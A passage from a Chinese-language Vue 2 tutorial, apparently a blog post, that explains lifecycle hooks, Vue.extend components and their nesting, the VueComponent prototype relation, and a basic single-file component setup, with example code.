        },
        beforeUpdate(){
            console.log('beforeUpdate');
            //console.log(this.n); //此时数据是新的,页面还是旧的,vue还没根据新的数据去生成新的虚拟dom,去比较旧的虚拟dom
        },
        updated(){
            console.log('updated');
            console.log(this.n); //此时数据是新的,页面也是新的,同步
        },
        beforeDestroy(){
            //仍然可以使用data,methods,关闭定时器,取消订阅消息,解绑自定义事件等收尾工作,移除watchers
            console.log('beforeDestroy');
            console.log(this.n);
            // this.add(); //记住一旦到了beforeDestroy或者destroyed钩子,即使你拿到数据想要更新它也不会走更新的路了(beforeUpdate,updated)
        },
        //destroyed钩子几乎不用
        destroyed(){
          console.log('destroyed');
        }
    });


</script>

17.3、总结生命周期

17.3.1、八大生命周期
1. beforeCreate(创建前):Vue对象创建之前触发的函数
2. created (创建后):Vue对象创建完成触发的函数
3. beforeMount (载入前):Vue对象开始挂载数据的时候触发的函数
4. mounted (载入后):Vue对象挂载数据的完成的时候触发的函数
5. beforeUpdate (更新前):Vue对象中的data数据发生改变之前触发的函数
6. updated   (更新后):Vue对象中的data数据发生改变完成触发的函数
7. beforeDestroy( 销毁前):Vue对象销毁之前触发的函数
8. destroyed (销毁后):Vue对象销毁完成触发的函数
17.3.2、生命周期的作用
Vue 所有的功能的实现都是围绕其生命周期进行的,
在生命周期的不同阶段调用对应的钩子函数可以实现组件数据管理和DOM渲染两大重要功能。
17.3.3、每个生命周期的详细介绍
beforeCreate(){}:
	Vue创建前,此阶段为实例初始化之后,this指向创建的实例,数据观察,数据监听事件机制都未形成,
	不能获得DOM节点。data,computed,watch,methods 上的方法和数据均不能访问,
	注:date和methods的数据都还未初始化。
Created(){}:  
	Vue创建后,此阶段为实例初始化之后,data、props、computed的初始化导入完成, 
	注:要调用methods中的方法,或者操作data中的数据,最早只能在Created中操作
	    能访问 data computed watch methods 上的方法和数据,初始化完成时的事件写这个里面,
	    此阶段还未挂载DOM
beforeMount(){}:
	 Vue载入前,阶段执行时,  模板已经在内存中编译好了,但是未挂载到页面中,(页面还是旧的)
	 注:这个阶段是过渡性的,一般一个项目只能用到一两次。
Mounted(){}Vue载入后,(完成创建vm.$el,和双向绑定); 只要执行完mounted,就表示整个Vue实例已经初始化完成了,
	此时组件已经脱离里了创建阶段, 进入到了运行阶段。
beforeUpdate(){}:
	Vue更新前, 当执行beforeUpdate的时候,页面中显示的数据还是旧的,此时date数据是最新的,
	页面尚未和最新数据数据保持同步。但是DOM中的数据会改变,这是vue双向数据绑定的作用,
	可在更新前访问现有的DOM,如手动移出添加的事件监听器。
Updated(){}:
	Vue更新后, Updated执行时数据已经保持同步了,都是最新的,完成虚拟DOM的重新渲染和打补丁。
	组件DOM已完成更新,可执行依赖的DOM操作。
	注意:不要在此函数中操作数据(修改属性),否则就会陷入死循环。
beforeDestroy(){}:
	(Vue销毁前,可做一些删除提示,比如:您确定删除****吗?)
	当执行beforeDestroy的时候,Vue实例就已经从运行阶段进入到销毁阶段了。
	实例上的所有date和methods以及过滤器和指令都是处于可用状态,此时还没有真正的执行销毁过程。
Destroyed(){}:
	Vue销毁后, 当执行到destroted函数的时候,组件已经完全销毁(渣都不剩),此时组件中的所有的数据,
	方法,指令,过滤器...都已经销毁(不可用了)。
17.3.4、代码总结生命周期
<div id="root">
    <!--
			常用的生命周期钩子:
				1.mounted: 发送ajax请求、启动定时器、绑定自定义事件、订阅消息等【初始化操作】。
				2.beforeDestroy: 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】。
			关于销毁Vue实例
				1.销毁后借助Vue开发者工具看不到任何信息。
				2.销毁后自定义事件会失效,但原生DOM事件依然有效。(click之类的原生事件依然会被调用)
			    3.一般不会在beforeDestroy操作数据,因为即便操作数据,也不会再触发更新流程了。
	-->
    <!--v-bind绑定-->
    <h1 :style="{opacity}">欢迎学习vue</h1>
    <button @click="stop">停止变换</button>
    <button @click="opacity = 1">透明度设置为1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    const vm = new Vue({
        el:"#root",
        data:{
            opacity: 1,
        },
        methods:{
            stop() {
                //只是清除了定时器,响应式仍然存在
                // clearInterval(this.timer);
                //暴力杀
                this.$destroy();
            }
        },

        //mounted
        //vue完成模版的解析并把初始的真实的dom元素挂载完毕就调用mounted函数
        //只调用一次
        mounted(){
            //关键性时刻调用对应的函数 生命周期
            console.log('mounted');
            this.timer = setInterval(() => {
                console.log('inter')
                //剪头函数没有this会从外部作用域寻找 mounted是由vue管理的函数,所以该函数中的this是vm(vue实例对象)
                this.opacity -= 0.01;
                if(this.opacity <= 0) this.opacity = 1;
            },16);
        },

        beforeDestroy() {
            console.log('vm要没了')
            clearInterval(this.timer);
        }
    });

</script>
17.3.5、Vue官方的生命周期函数的图

在这里插入图片描述

十八、非单文件组件

18.1、基本使用

<!--
	Vue中使用组件的三大步骤:
		一、定义组件(创建组件)
		二、注册组件
		三、使用组件(写组件标签)
	一、如何定义一个组件?
		使用Vue.extend(options)创建,
		其中options和new Vue(options)时传入的那个options几乎一样,但也有点区别;
		区别如下:
			1.el不要写,为什么? ——— 最终所有的组件都要经过一个vm的管理,由vm中的el决定服务哪个容器。
			2.data必须写成函数,为什么? ———— 避免组件被复用时,数据存在引用关系。
			备注:使用template可以配置组件结构。
	二、如何注册组件?
			1.局部注册:靠new Vue的时候传入components选项
			2.全局注册:靠Vue.component('组件名',组件)
	三、编写组件标签:
			<school></school>
-->
<div id="root">
    <h1>
        {{ msg }}
    </h1>
    <hello></hello>
    <!--使用组件-->
    <school></school>
    <hr/>
    <student></student>
    <hr/>
</div>
<div id="root2">
   <h2>root2容器</h2>
    <hello></hello>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;

    //全部注册

    /**
     * 想用组件的三个步骤
     * 1.创建组件
     * 2.注册组件
     * 3.使用组件
     */
        //创建school组件
    const school = Vue.extend({
            template: `
              <div>
              <h2>学校名称:{{ schoolName }}</h2>
              <h2>学校地址:{{ address }}</h2>
              <button @click="showName">点我提示学校名</button>
              </div>
            `,
            //组件定义不要写el配置项,因为最终所有的组件都要被vm所管理,由vm决定服务于哪个容器
            //这里data必须写成函数形式 避免多次使用组件导致共用data对象导致一个问题
            data() {
                //注意这里不要写箭头函数
                return {
                    schoolName: '武汉科技大学',
                    address: '武汉',
                }
            },
            methods:{
                showName(){
                    alert(this.schoolName)
                }
            }
        })
    //创建school组件
    const student = Vue.extend({
        template: `
            <div>
              <h2>学生名字:{{ studentName }}</h2>
              <h2>学生年龄:{{ age }}</h2>
            </div>
        `,
        data() {
            return {
                studentName: 'Jone',
                age: 18
            }
        }
    });


    const hello = Vue.extend({
        template:`
          <div>
            <h2>你好世界,{{ name }}</h2>
          </div>
        `,
        data(){
            return {
                name: 'panyue'
            }
        }
    });

    //hello组件
    Vue.component('hello', hello); //全局注册hello 就代表所有的vm都可以用hello组件了

    // 创建vm
    new Vue({
        el: "#root",
        //配置组件(局部注册)
        data:{
            msg: 'hello world'
        },
        components: {
            school,
            student
        },
    })

    new Vue({
       el: '#root2',
    });

</script>

18.2、几个基本的注意点

<!--
	几个注意点:
			1.关于组件名:
						一个单词组成:
									第一种写法(首字母小写):school
									第二种写法(首字母大写):School
						多个单词组成:
									第一种写法(kebab-case命名):my-school
									第二种写法(CamelCase命名):MySchool (需要Vue脚手架支持)
						备注:
								(1).组件名尽可能回避HTML中已有的元素名称,例如:h2、H2都不行。
								(2).可以使用name配置项指定组件在开发者工具中呈现的名字。
			2.关于组件标签:
								第一种写法:<school></school>
								第二种写法:<school/>
								备注:不用使用脚手架时,<school/>会导致后续组件不能渲染。
			3.一个简写方式:
						const school = Vue.extend(options) 可简写为:const school = options
		-->

18.3、组件的嵌套

<script type="text/javascript">
    Vue.config.productionTip = false;

    const student = Vue.extend({
        template: `
           <div>
              <h2>学生姓名:{{ name }}</h2>
              <h2>学生年龄:{{ age }}</h2>
           </div>
        `,
        data(){
            return {
                name: 'JONE',
                age:13
            }
        },
    });

    const school = Vue.extend({
        template: `
          <div>
             <h1>学校名称:{{ name }}</h1>
             <h1>学校地址:{{ address }}</h1>
             <!--子组件注册给哪个父组件,就嵌套在哪个副组件里面--->
             <student></student>
          </div>
        `,

        data(){
            return {
                name: '武汉科技大学',
                address:'武汉'
            }
        },

        //组件嵌套
        //这里也是局部注册组件
        components: {
           student
        }
    });


      const hello = Vue.extend({
          template: `<h1>{{ msg }}</h1>`,
          data(){
              return {
                  msg: 'hello, my vue world',
              }
          },
      });


      const app = Vue.extend({
          template:`<div>
            <school></school>
            <hello></hello>
          </div>`,
          components:{
              school,
              hello
          }
      });

        new Vue({
        template: `<app></app>`,
        el:"#root",
        //注册组件(局部)
        components:{
            // //schoo组件与hello组件平级
            // school,
            // hello
            app,
        },
        data:{
            x:1,
        }
    });


</script>

18.4、VueComponent详解(添加)

<!--
	关于VueComponent:
		1.school组件本质是一个名为VueComponent的构造函数,且不是程序员定义的,是Vue.extend生成的。
		
		2.我们只需要写<school/><school></school>,Vue解析时会帮我们创建school组件的实例对象,
			即Vue帮我们执行的:new VueComponent(options)3.特别注意:每次调用Vue.extend,返回的都是一个全新的VueComponent!!!!注意这一点很重要
		
		4.关于this指向:
				(1).组件配置中:
						data函数、methods中的函数、watch中的函数、computed中的函数 
						它们的this均是【VueComponent实例对象】。
				(2).new Vue(options)配置中:
						data函数、methods中的函数、watch中的函数、computed中的函数 
						它们的this均是【Vue实例对象】。
						
		5.VueComponent的实例对象,以后简称vc(也可称之为:组件实例对象)。
							Vue的实例对象,以后简称vm。 vm管理着一个又一个vc
		6.因为组件是可复用的 Vue 实例,所以它们与 new Vue 接收相同的选项,
		  例如 data、computed、watch、methods 以及生命周期钩子等。
		  仅有的例外是像 el 这样根实例特有的选项。
		  所以vm与vc属性配置并不是一模一样,尽管vc底层复用了很多vm的逻辑
-->
<div id="root">
    <school></school>
    <hello>
    </hello>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;

    const school = Vue.extend({
        template: `
          <div>
             <h1>学校名称:{{ name }}</h1>
             <h1>学校地址:{{ address }}</h1>
             <button @click="showname">点我提示学校名</button>
          </div>
        `,
        data(){
            return {
                name: '武汉科技大学',  //vuecomponent的实例对象
                address:'武汉'
            }
        },
        methods:{
            showname(){
              console.log(this);
              console.log(this.name);
           }
        }
    });

    // console.log(typeof school, school); //所谓的组件就是构造函数(VueComponent);


    //测试组件
    const test = Vue.extend({
       template:  `<h1>panyue</h1>`
    });

    //hello组件
    const hello = Vue.extend({
        template:`
          <div>
          <h1>{{ msg }}</h1>
          <test></test>
        </div>`,
        data(){
            return {
                msg: '你好'
            }
        },
        components: {
            test
        }
    })


    const vm = new Vue({
        el:"#root",
        components:{
            school,
            hello
        }
    });

    //验证school与hello并不是同一个VueComponent构造函数
    // school.a = 99;
    // console.log('@', school);
    // console.log('#', hello);
    // console.log(school === hello);
    // console.log(school.a, hello.a);
</script>

18.5、一个重要的内置关系

<!--
			1.一个重要的内置关系:VueComponent.prototype.__proto__ === Vue.prototype
			2.为什么要有这个关系:让组件实例对象(vc)可以访问到 Vue原型上的属性、方法。
-->
<div id="root">
    <!--new VueComponent只有在你写了<school/>或者<school></school>才会执行-->
    <school></school>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false;
    //一个内置关系
    Vue.prototype.x = 99;
    //注意 VueComponent.prototype.__proto__ === Vue.prototype === vm.__proto__

    const school = Vue.extend({
        template: `
          <div>
             <h1>学校名称:{{ name }}</h1>
             <h1>学校地址:{{ address }}</h1>
             <button @click="showname">点我提示学校名</button>
             <button @click="cx">点我输出x</button>
          </div>
        `,
        data(){
            return {
                name: '武汉科技大学',  //vuecomponent的实例对象
                address:'武汉'
            }
        },
        methods:{
            showname(){
                console.log(this);
                console.log(this.name);
            },
            cx(){
                console.log(this); //this是VueComponent的实例对象
                console.log(this.__proto__.__proto__ === Vue.prototype) //true 这里重要的内置关系哦!!!
                console.log()
                console.log(this.x);
            }
        }
    });

    new Vue({
        el:"#root",
        data:{
            msg: 'hello'
        },
        components:{
            school
        }
    });

    //验证

    // function Demo(){
    //     this.a = 1;
    //     this.b = 2;
    // }
    // const d = new Demo();
    // // console.log(d.x);
    // console.log(Demo.prototype); //显示原型属性
    // console.log(d.__proto__);// 隐士原型属性 原型对象只有一个
    // //操作原型对象追加x属性
    // Demo.prototype.x = 99;
    // console.log(d.__proto__ === Demo.prototype)
</script>

十九、单文件组件

19.1、App.vue

<template>
   <div>
     <School></School>
     <Student></Student>
   </div>
</template>

<script>
import School from './School';
import Student from "./Student";
export default {
  name: "App",
  //汇总所有的组件
  components:{
    Student,
    School
  }
}
</script>

19.2、School.vue

<template>
<!--  组件的交互-->
   <div class="demo">
     <h2>学校名称:{{ name }}</h2>
     <h2>学校地址:{{ address }}</h2>
     <button @click="showName">点我提示学校名</button>
   </div>
</template>

<style>
  /*css样式*/
  .demo{
    background: skyblue;
  }
</style>


<script>
  //组件交互的代码
  //export default school分别暴露
  export default {
    name: 'School', //开发者工具最终呈现的名字为School
    data(){
      return {
        name:'武汉科技大学',
        address: '武汉'
      }
    },
    methods:{
      showName(){
        alert(this.name);
      }
    }
  };
  //统一暴露
  // export { school };
  // export default school //默认暴露
</script>
Footer

19.3、Student.vue

<template>
<!--  组件的交互-->
   <div>
     <h2>学生姓名:{{ name }}</h2>
     <h2>学生年龄:{{ age }}</h2>
     <button @click="showName">点我提示学生姓名</button>
   </div>
</template>

<!--<style>-->
<!--  /*css样式*/-->
<!--  .demo{-->
<!--    background: skyblue;-->
<!--  }-->
<!--</style>-->


<script>
  //组件交互的代码
  //export default school分别暴露
  export default {
    name: 'Student', //开发者工具最终呈现的名字为School
    data(){
      return {
        name:'panyue',
        age:21
      }
    },
    methods:{
      showName(){
        alert(this.name);
      }
    }
  };
  //统一暴露
  // export { school };
  // export default school //默认暴露
</script>

19.4、index.html

<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport"
          content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>测试单文件组件的语法</title>
</head>
<body>
   <!--准备一个容器-->
   <div id="root">
   </div>
</body>
<script src="../js/vue.js"></script>
<script src="./main.js">
</script>
</html>

19.5、main.js

//创建vm
import App from './App';
//如果文件
new Vue({
    el: '#root',
    template:`<App></App>`,
    components:{
        App
    }
});
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值